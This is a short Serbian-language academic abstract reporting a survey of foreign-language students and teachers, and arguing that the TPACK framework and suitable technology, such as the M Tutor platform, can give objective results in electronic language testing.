Korišćenjem statističkih podataka, analizom i sintezom dobijenih rezultata sprovedene ankete među studentima i nastavnicima stranih jezika, došlo se do zaključka da su nastavnici očekivali mnogo veću prolaznost i bolje rezultate studenata. Primenom okvira pedagoškog, predmetnog i tehnološkog znanja tzv. TPACK, odnosno adekvatnom pedagoškom pripremom i adekvatnom upotrebom savremenih tehnologija pri testiranju stranih jezika, moguće je dobiti objektivne rezultate o znanju ispitanika.

Ključne reči:

TPACK, IKT, digitalni materijali, elektronsko testiranje, platforma M Tutor.

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